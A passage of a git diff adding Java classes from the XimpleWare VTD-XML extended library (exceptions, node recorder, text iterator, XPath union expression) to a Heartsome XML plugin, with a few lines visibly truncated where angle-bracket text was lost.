ap.selectAttr(currentStep.nt.nodeName); + i = 0; + while(ap.iterateAttr()!=-1){ + if (currentStep.evalPredicates(vn,p)){ + i++; + } + } + currentStep.resetP(vn,p); + return i; + + default: + throw new XPathEvalExceptionHuge("axis not supported"); + } + //return 8; + } + + public void setPosition(int pos){ + + } + + public int adjust(int n) { + int i; + if (pathType == RELATIVE_PATH) { + i = Math.min(intHash.determineHashWidth(n),5); // hash width 64 + } else { + i = intHash.determineHashWidth(n); + } + if (ih!=null && i== ih.e) + {} + else + ih = new intHash(i); + Step temp = s; + while(temp!=null){ + temp.adjust(n); + temp = temp.nextS; + } + return i; + } + +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NavException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NavException.java new file mode 100644 index 0000000..2c92bb6 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NavException.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * This exception is for any exception conditions during navigation phase. + * Creation date: (11/19/03 11:42:28 AM) + */ +public class NavException extends Exception { +/** + * NavException constructor comment. + */ +public NavException() { + super(); +} +/** + * NavException constructor comment. + * @param s java.lang.String + */ +public NavException(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NavExceptionHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NavExceptionHuge.java new file mode 100644 index 0000000..6bce5bb --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NavExceptionHuge.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * This exception is for any exception conditions during navigation phase. + * It is adapted to support extended VTD (256 max file size) + */ +public class NavExceptionHuge extends VTDExceptionHuge { +/** + * NavException constructor comment. + */ +public NavExceptionHuge() { + super(); +} +/** + * NavException constructor comment. + * @param s java.lang.String + */ +public NavExceptionHuge(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NodeRecorderHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NodeRecorderHuge.java new file mode 100644 index 0000000..63ab568 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/NodeRecorderHuge.java @@ -0,0 +1,326 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; + +/** + * + * NodeRecorderHuge allows one to record the node position of VTDNavHuge. However, the + * internal representation of node is variable in length and recording a large + * number of nodes could consume much memory. It is a bad idea to + * record every node of an document. So be careful when using it. + */ +public class NodeRecorderHuge { + protected VTDNavHuge vn; + + protected FastIntBuffer fib; + + public final static int BUF_SZ_EXPO = 7;// buffer page size is now 128 + + int size; // in # of nodes + + int position; // in # of nodes + + int count; // in # of ints + + /** + * The parameter-less constructor + * + */ + public NodeRecorderHuge() { + vn = null; + size = position = 0; + fib = new FastIntBuffer(BUF_SZ_EXPO); + } + + /** + * + * @param vn1 + */ + public NodeRecorderHuge(VTDNavHuge vn1) { + bind(vn1); + size = position = count = 0; + fib = new FastIntBuffer(BUF_SZ_EXPO); + } + + public void bind(VTDNavHuge vn1) { + if (vn1 == null) + throw new IllegalArgumentException( + "NodeRecorder can't take a null VTDNav instatnce"); + vn = vn1; + } + + /** + * This function records the position of VN into an internal buffer + * + */ + public void record() { + //add the context and + int i; + switch (vn.context[0]) { + case -1: + fib.append(0xff | 0x80000000); + size++; + position++; + count++; + break; + case 0: + if (vn.atTerminal == false) { + fib.append(0); + count++; + } else { + fib.append(0x80000000); + count += 2; + } + size++; + position++; + if (vn.atTerminal == true) + fib.append(vn.LN); + break; + case 1: + if (vn.atTerminal == false) { + fib.append(1); + fib.append(vn.context[1]); + fib.append(vn.l1index); + size++; + position++; + count += 3; + } else { + fib.append(0x80000001); + fib.append(vn.context[1]); + fib.append(vn.l1index); + fib.append(vn.LN); + size++; + position++; + count += 4; + } + break; + case 2: + if (vn.atTerminal == false) { + fib.append(2); + count += 7; + } else { + fib.append(0x80000002); + count += 8; + } + fib.append(vn.context[1]); + fib.append(vn.context[2]); + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + size++; + position++; + + if (vn.atTerminal == true) + fib.append(vn.LN); + + break; + case 3: + if (vn.atTerminal == false) { + fib.append(3); + count += 11; + } else { + fib.append(0x80000003); + count += 12; + } + fib.append(vn.context[1]); + fib.append(vn.context[2]); + fib.append(vn.context[3]); + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + fib.append(vn.l3lower); + fib.append(vn.l3upper); + fib.append(vn.l3index); + size++; + position++; + + if (vn.atTerminal == true) + fib.append(vn.LN); + + break; + default: + if (vn.atTerminal == false) { + i = vn.context[0]; + fib.append(i); + count += i + 8; + } else { + i = vn.context[0]; + fib.append(i | 0x80000000); + count += i + 9; + } + for (int k = 1; k <= i; k++) { + fib.append(vn.context[k]); + } + fib.append(vn.l1index); + fib.append(vn.l2lower); + fib.append(vn.l2upper); + fib.append(vn.l2index); + fib.append(vn.l3lower); + fib.append(vn.l3upper); + fib.append(vn.l3index); + size++; + position++; + + if (vn.atTerminal) + fib.append(vn.LN); + } + } + + /** + * resetPointer() will set the pointer to the first node in NodeRecorder + * This method is called when one wants to read the nodes in the nodeRecorder + * + */ + public void resetPointer() { + position = 0; + count=0; + } + + /** + * Clear will erase all the nodes, internal buffers are reused + * + */ + public void clear() { + size = position = count = 0; + fib.clear(); + } + + /** + * This method set the cursor in VTDNav to the nodes as recorded + * in NodeRecorder, and return the output of "getCurrentIndex()" + * It is important to notice that you can only go forward, not + * backward + * @return int + * + */ + public int iterate() { + int j,i ; + if (count= 0); + if (b == false) { + i = i & 0x7fffffff; + } + switch (i) { + case 0xff: + vn.context[0]=-1; + vn.atTerminal=false; + count++; + break; + + case 0: + vn.context[0]=0; + if (b==false){ + vn.atTerminal = true; + vn.LN = fib.intAt(count+1); + count+=2; + }else{ + vn.atTerminal = false; + count++; + } + + break; + + case 1: + vn.context[0]=1; + vn.context[1]=fib.intAt(count+1); + vn.l1index = fib.intAt(count+2); + if (b==false){ + vn.atTerminal = true; + vn.LN = fib.intAt(count+3); + count+=4; + }else{ + vn.atTerminal = false; + count+=3; + } + + break; + + case 2: + vn.context[0]=2; + vn.context[1]=fib.intAt(count+1); + vn.context[2]=fib.intAt(count+2); + vn.l1index = fib.intAt(count+3); + vn.l2lower = fib.intAt(count+4); + vn.l2upper = fib.intAt(count+5); + vn.l2index = fib.intAt(count+6); + if (b==false){ + vn.atTerminal = true; + vn.LN = fib.intAt(count+7); + count+=8; + }else{ + vn.atTerminal = false; + count+=7; + } + + break; + + case 3: + vn.context[0]=3; + vn.context[1]=fib.intAt(count+1); + vn.context[2]=fib.intAt(count+2); + vn.context[3]=fib.intAt(count+3); + vn.l1index = fib.intAt(count+4); + vn.l2lower = fib.intAt(count+5); + vn.l2upper = fib.intAt(count+6); + vn.l2index = fib.intAt(count+7); + vn.l3lower = fib.intAt(count+8); + vn.l3upper = fib.intAt(count+9); + vn.l3index = fib.intAt(count+10); + if (b==false){ + vn.atTerminal = true; + vn.LN = fib.intAt(count+11); + count+=12; + }else{ + vn.atTerminal = false; + count+=11; + } + + break; + + default: + vn.context[0]=i; + for(j=1;j= temp1 && sp < temp2) { + int s = vn.l1Buffer.upper32At(lcIndex); + if (sp == s) { // get to the next l1 element then do a rewind + lcIndex++; + sp = vn.l1Buffer.upper32At(lcIndex)-1; + while (vn.getTokenDepth(sp) == 0 + && vn.getTokenType(sp) != VTDNavHuge.TOKEN_STARTING_TAG) { //probe depth in here + sp--; + } + sp++; // point to the first possible node + } + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } else { + if (sp == temp2) { // get to the end of the document and do a rewind + sp = vn.vtdBuffer.size() - 1; + while (vn.getTokenDepth(sp) <= 0) { + sp--; + } + sp++; + //continue; + } + if (sp>=vtdSize) + return -1; + else if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + else if (vn.getTokenDepth(sp)>1) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + // found nothing + } else { + // no child element for root, just scan right forward + while (sp < vtdSize) { + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } + return -1; + } + case 1 : + if (prevLocation != -1) { + sp = increment(prevLocation) ; + } else { + // fetch lclower and lcupper + lcLower = vn.l1Buffer.lower32At(vn.l1index); + if (lcLower != -1) { + lcUpper = vn.l2Buffer.size() - 1; + int size = vn.l1Buffer.size(); + for (int i = vn.l1index + 1; i < size ; i++) { + int temp = vn.l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l2lower and l2upper + + if (lcLower != -1) { // have at least one child element + int temp1 = vn.l2Buffer.upper32At(lcLower); + int temp2 = vn.l2Buffer.upper32At(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vtdSize) { + int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vn.l2Buffer.upper32At(lcIndex) - 1; + while (vn.getTokenDepth(sp) == 1) { + sp--; + } + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==1 ) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + + if (isText(sp) == true && vn.getTokenDepth(sp) == 1){ + //System.out.println("depth ->"+vn.getTokenDepth(sp)); + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNavHuge.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 2 ) || vn.getTokenDepth(sp)<1) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child element + if (sp>=vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vtdSize + && d >= 1 + && !(d == 1 && type == VTDNavHuge.TOKEN_STARTING_TAG)) { + if (isText(sp) == true) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + + case 2 : + if (prevLocation != -1) { + sp = increment(prevLocation); + } else { + // fetch lclower and lcupper + lcLower = vn.l2Buffer.lower32At(vn.l2index); + if (lcLower != -1) { + lcUpper = vn.l3Buffer.size() - 1; + int size = vn.l2Buffer.size(); + for (int i = vn.l2index + 1; i < size ; i++) { + int temp = vn.l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l3lower and l3upper + + if (lcLower != -1) { // at least one child element + int temp1 = vn.l3Buffer.intAt(lcLower); + int temp2 = vn.l3Buffer.intAt(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vtdSize) { + int s = vn.l3Buffer.intAt(lcIndex); + //int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vn.l3Buffer.intAt(lcIndex) - 1; + while (vn.getTokenDepth(sp) == 2) { + sp--; + } + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + if ( isText(sp) == true && vn.getTokenDepth(sp) == 2) { + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNavHuge.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 3 ) || vn.getTokenDepth(sp)<2) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child elements + if (sp>=vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vtdSize + && d >= 2 + && !(d == 2 && type == VTDNavHuge.TOKEN_STARTING_TAG)) { + // the last condition indicates the start of the next sibling element + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + + default : + //int curDepth = vn.context[0]; + sp = (prevLocation != -1) ? increment(prevLocation): index + 1; + if (sp>=vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vtdSize + && d >= depth + && !(d == depth && type == VTDNavHuge.TOKEN_STARTING_TAG)) { + if (isText(sp) == true && d == depth) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + } + } + //prevLocation = vtdSize-1; + return -1; +} +/** + * Test whether a give token type is a TEXT. + * Creation date: (12/11/03 3:46:10 PM) + * @return boolean + * @param type int + */ +final private boolean isText(int index) { + int type = vn.getTokenType(index); + return (type == VTDNavHuge.TOKEN_CHARACTER_DATA + //|| type == vn.TOKEN_COMMENT + || type == VTDNavHuge.TOKEN_CDATA_VAL); +} + /** + * Obtain the current navigation position and element info from VTDNav. + * So one can instantiate it once and use it for many different elements + * Creation date: (12/5/03 6:20:44 PM) + * @param v com.ximpleware.VTDNav + */ + public void touch(VTDNavHuge v) { + if (v == null) + throw new IllegalArgumentException(" VTDNav instance can't be null"); + + depth = v.context[0]; + if (depth == -1) + index = 0; + else + index = (depth != 0) ? v.context[depth] : v.rootIndex; + + vn = v; + prevLocation = -1; + lcIndex = -1; + lcUpper = -1; + lcLower = -1; + } + + private int increment(int sp){ + + int type = vn.getTokenType(sp); + int vtdSize = vn.vtdBuffer.size(); + int i=sp+1; + while(i>32) + == vn.getTokenOffset(i)) + ){ + i++; + } + return i; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/TextIterHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/TextIterHuge.java new file mode 100644 index 0000000..aab51a8 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/TextIterHuge.java @@ -0,0 +1,364 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * This class iterates through all text nodes of an element. + * VTDNavHuge has getText() which is inadequate for mixed content style of XML. + * text nodes include character_data and CDATA. + * This version is adapted to support extended VTD (256GB max file size) + */ +public class TextIterHuge { + + private int prevLocation; //previous location of text node + protected int depth; + protected int index; // this is index for the element + + protected VTDNavHuge vn; + + private int lcIndex; + private int lcLower; + private int lcUpper; + /** + * TextIter constructor comment. + */ + public TextIterHuge() { + super(); + vn = null; + /*sel_char_data = true; + sel_comment = true; + sel_cdata = true;*/ + } +/** + * Get the index vals for the text nodes in document order. + * Creation date: (12/5/03 6:11:50 PM) + * @return int (-1 if no more left) + */ +public int getNext() { + if (vn == null) + throw new IllegalArgumentException(" VTDNav instance can't be null"); + int vtdSize = vn.vtdBuffer.size(); + switch (depth) { + case -1: return -1; + case 0 : + // scan forward, if none found, jump to level 1 element and scan backward until one is found + // if there isn't a level-one element, jump to the end of vtd buffer and scan backward + int sp = (prevLocation != -1) ? increment(prevLocation): index + 1; + if (vn.l1Buffer.size() != 0) { + int temp1 = vn.l1Buffer.upper32At(0); + int temp2 = vn.l1Buffer.upper32At(vn.l1Buffer.size() - 1); + lcIndex = (lcIndex != -1) ? lcIndex : 0; + while (sp < vtdSize) { + if (sp >= temp1 && sp < temp2) { + int s = vn.l1Buffer.upper32At(lcIndex); + if (sp == s) { // get to the next l1 element then do a rewind + lcIndex++; + sp = vn.l1Buffer.upper32At(lcIndex)-1; + while (vn.getTokenDepth(sp) == 0 + && vn.getTokenType(sp) != VTDNavHuge.TOKEN_STARTING_TAG) { //probe depth in here + sp--; + } + sp++; // point to the first possible node + } + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } else { + if (sp == temp2) { // get to the end of the document and do a rewind + sp = vn.vtdBuffer.size() - 1; + while (vn.getTokenDepth(sp) <= 0) { + sp--; + } + sp++; + //continue; + } + if (sp>=vtdSize) + return -1; + else if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + else if (vn.getTokenDepth(sp)>1) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + // found nothing + } else { + // no child element for root, just scan right forward + while (sp < vtdSize) { + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } + return -1; + } + case 1 : + if (prevLocation != -1) { + sp = increment(prevLocation) ; + } else { + // fetch lclower and lcupper + lcLower = vn.l1Buffer.lower32At(vn.l1index); + if (lcLower != -1) { + lcUpper = vn.l2Buffer.size() - 1; + int size = vn.l1Buffer.size(); + for (int i = vn.l1index + 1; i < size ; i++) { + int temp = vn.l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l2lower and l2upper + + if (lcLower != -1) { // have at least one child element + int temp1 = vn.l2Buffer.upper32At(lcLower); + int temp2 = vn.l2Buffer.upper32At(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vtdSize) { + int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vn.l2Buffer.upper32At(lcIndex) - 1; + while (vn.getTokenDepth(sp) == 1) { + sp--; + } + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==1 ) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + + if (isText(sp) == true && vn.getTokenDepth(sp) == 1){ + //System.out.println("depth ->"+vn.getTokenDepth(sp)); + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNavHuge.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 2 ) || vn.getTokenDepth(sp)<1) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child element + if (sp>=vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vtdSize + && d >= 1 + && !(d == 1 && type == VTDNavHuge.TOKEN_STARTING_TAG)) { + if (isText(sp) == true) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + + case 2 : + if (prevLocation != -1) { + sp = increment(prevLocation); + } else { + // fetch lclower and lcupper + lcLower = vn.l2Buffer.lower32At(vn.l2index); + if (lcLower != -1) { + lcUpper = vn.l3Buffer.size() - 1; + int size = vn.l2Buffer.size(); + for (int i = vn.l2index + 1; i < size ; i++) { + int temp = vn.l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l3lower and l3upper + + if (lcLower != -1) { // at least one child element + int temp1 = vn.l3Buffer.intAt(lcLower); + int temp2 = vn.l3Buffer.intAt(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vtdSize) { + int s = vn.l3Buffer.intAt(lcIndex); + //int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vn.l3Buffer.intAt(lcIndex) - 1; + while (vn.getTokenDepth(sp) == 2) { + sp--; + } + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + if ( isText(sp) == true && vn.getTokenDepth(sp) == 2) { + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNavHuge.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 3 ) || vn.getTokenDepth(sp)<2) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child elements + if (sp>=vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vtdSize + && d >= 2 + && !(d == 2 && type == VTDNavHuge.TOKEN_STARTING_TAG)) { + // the last condition indicates the start of the next sibling element + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + + default : + //int curDepth = vn.context[0]; + sp = (prevLocation != -1) ? increment(prevLocation): index + 1; + if (sp>=vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (d >= depth + && !(d == depth && type == VTDNavHuge.TOKEN_STARTING_TAG)) { + if (isText(sp) == true && d == depth) { + prevLocation = sp; + return sp; + } + sp++; + if(sp >= vtdSize) + return -1; + + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + } + } + //prevLocation = vtdSize-1; + return -1; +} +/** + * Test whether a give token type is a TEXT. + * Creation date: (12/11/03 3:46:10 PM) + * @return boolean + * @param type int + */ +final private boolean isText(int index) { + int type = vn.getTokenType(index); + return (type == VTDNavHuge.TOKEN_CHARACTER_DATA + //|| type == vn.TOKEN_COMMENT + || type == VTDNavHuge.TOKEN_CDATA_VAL); +} + /** + * Obtain the current navigation position and element info from VTDNav. + * So one can instantiate it once and use it for many different elements + * Creation date: (12/5/03 6:20:44 PM) + * @param v com.ximpleware.VTDNav + */ + public void touch(VTDNavHuge v) { + if (v == null) + throw new IllegalArgumentException(" VTDNav instance can't be null"); + + depth = v.context[0]; + if (depth == -1) + index = 0; + else + index = (depth != 0) ? v.context[depth] : v.rootIndex; + + vn = v; + prevLocation = -1; + lcIndex = -1; + lcUpper = -1; + lcLower = -1; + } + + private int increment(int sp){ + + int type = vn.getTokenType(sp); + int vtdSize = vn.vtdBuffer.size(); + int i=sp+1; + while(i>32) + == vn.getTokenOffset(i)) + ){ + i++; + } + return i; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/UnionExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/UnionExpr.java new file mode 100644 index 0000000..32bc4e0 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/UnionExpr.java @@ -0,0 +1,350 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; + +import com.ximpleware.extended.xpath.*; + +public class UnionExpr extends Expr { + public intHash ih; + + public Expr e; + + public UnionExpr next; + + UnionExpr current; + + int state; + + public UnionExpr(Expr e1) { + e = e1; + next = null; + current = this; + ih = null; + state = 0; + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalBoolean(com.ximpleware.VTDNav) + */ + public boolean evalBoolean(VTDNavHuge vn) { + if (e.isNodeSet()==false) + return e.evalBoolean(vn); + else { + boolean a = false; + vn.push2(); + // record teh stack size + int size = vn.contextStack2.size; + try { + a = (evalNodeSet(vn) != -1); + } catch (Exception e) { + } + //rewind stack + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return a; + } + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalNumber(com.ximpleware.VTDNav) + */ + public double evalNumber(VTDNavHuge vn) { + if (e.isNodeSet()==false) + return e.evalNumber(vn); + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_ATTR_NAME) { + a++; + } else if (vn.getTokenType(a) == VTDNavHuge.TOKEN_STARTING_TAG) { + a = vn.getText(); + } + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + try { + if (a != -1) + return vn.parseDouble(a); + } catch (NavExceptionHuge e) { + } + return Double.NaN; + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalNodeSet(com.ximpleware.VTDNav) + */ + public int evalNodeSet(VTDNavHuge vn) throws XPathEvalExceptionHuge, NavExceptionHuge { + int a; + if (this.next == null) { + return e.evalNodeSet(vn); + } else { + while (true) { + switch (state) { + case 0: + if (ih==null) + ih = new intHash(); + if (current != null) { + vn.push2(); + while ((a = current.e.evalNodeSet(vn)) != -1) { + if (isUnique(a)) { + state = 1; + return a; + } + } + state = 2; + vn.pop2(); + break; + } else + state = 3; + break; + + case 1: + while ((a = current.e.evalNodeSet(vn)) != -1) { + if (isUnique(a)) { + state = 1; + return a; + } + } + state = 2; + vn.pop2(); + break; + + case 2: + current = current.next; + if (current != null) { + vn.push2(); + while ((a = current.e.evalNodeSet(vn)) != -1) { + if (isUnique(a)) { + state = 1; + return a; + } + } + vn.pop2(); + break; + } else + state = 3; + break; + + case 3: + return -1; + + default: + throw new XPathEvalExceptionHuge( + "Invalid state evaluating UnionExpr"); + } + } + } + + /* + * default: throw new XPathEvalException( "Invalid state evaluating + * PathExpr"); + */ + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalString(com.ximpleware.VTDNav) + */ + public String evalString(VTDNavHuge vn) { + if (e.isNodeSet()==false){ + return e.evalString(vn); + } + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = evalNodeSet(vn); + if (a != -1) { + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_ATTR_NAME) { + a++; + } + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_STARTING_TAG) { + a = vn.getText(); + } + } + } catch (Exception e) { + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + try { + if (a != -1) + return vn.toString(a); + } catch (NavExceptionHuge e) { + } + return ""; + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#reset(com.ximpleware.VTDNav) + */ + public void reset(VTDNavHuge vn) { + // travese el list and reset every expression + e.reset(vn); + current = this; + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.reset(vn); + tmp = tmp.next; + } + if (ih != null) + ih.reset(); + state = 0; + } + + /* + * (non-Javadoc) + * + * @see java.lang.Object#toString() + */ + public String toString() { + // TODO Auto-generated method stub + + if (this.next == null) + return this.e.toString(); + else + return this.e.toString() + " | " + this.next.toString(); + + } + + /* + * (non-Javadoc) + * + * @see 